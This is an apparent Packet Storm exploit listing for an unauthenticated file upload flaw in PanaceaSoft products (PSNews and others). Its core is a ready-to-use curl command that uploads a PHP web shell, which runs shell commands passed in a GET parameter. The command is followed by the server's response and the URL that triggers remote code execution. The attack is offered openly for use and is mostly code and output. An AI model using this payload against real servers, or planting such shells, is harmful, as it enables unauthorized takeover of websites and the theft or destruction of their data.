what you don't know can hurt you

PanaceaSoft Shell Upload

PanaceaSoft Shell Upload
Posted May 29, 2020
Authored by SyFi

Various PanaceaSoft products appear to suffer from a shell upload vulnerability.

tags | exploit, shell
MD5 | dbac78cf550b5cda3c73303bea5d98e1

PanaceaSoft Shell Upload

Change Mirror Download
# Exploit Title: PanaceaSoft products Arbitrary File Upload/RCE
# Google Dork: NA
# Date: 25/5/2020
# Exploit Author: syfi
# Vendor Homepage: http://www.panacea-soft.com/
# Software Link: http://www.panacea-soft.com/
# Version: latest
# Tested on: Ubuntu
# CVE : NA

# Vulnerability Description:
# PanaceaSoft products (ex:PSNews, PS-Store, Flutter Store, etc) suffers from an Unauthenticated File Upload Vulnerability, this lead to Remote Code Execution (RCE) by uploading a malicious PHP file.
#the vulnerability in UploadHandler.php (jquery)
# posting file to http://target//index.php/admin/fileupload/upload


#PoC PSNews

$ curl -i -s -k -X $'POST' \
-H $'Host: HOST' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0' -H $'Accept: application/json, text/javascript, */*; q=0.01' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Type: multipart/form-data; boundary=---------------------------132875777438352085691040662542' -H $'Content-Length: 285' \
--data-binary $'\x0d\x0a-----------------------------132875777438352085691040662542\x0d\x0aContent-Disposition: form-data; name=\"files[]\"; filename=\"1337.php\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a<?php echo shell_exec($_GET[\'zz\'].\' 2>&1\'); ?>\x0d\x0a-----------------------------132875777438352085691040662542--\x0d\x0a' \
$'http://TARGETURI/psnews/index.php/admin/fileupload/upload'

response:
{"files":[{"name":"1337.php","size":48,"type":"application\/octet-stream","width":null,"height":null,"id":"imgafb6b26b03ebd342f850d050a302c0f5","description":null,"url":"http:\/\/TARGETURI\/psnews\/uploads\/1337.php","deleteUrl":"http:\/\/TARGETURI\/psnews\/index.php\/admin\/fileupload\/upload?file=1337.php&_method=DELETE","deleteType":"POST"}]}

RCE: http://TARGETURI/psnews/uploads/1337.php

#more details
# https://github.com/SyFi/PanaceaSoft-0day-Exploit
# twitter @syfi2k
# 0xSAUDI
Login or Register to add favorites

File Archive:

July 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    15 Files
  • 2
    Jul 2nd
    19 Files
  • 3
    Jul 3rd
    11 Files
  • 4
    Jul 4th
    0 Files
  • 5
    Jul 5th
    0 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close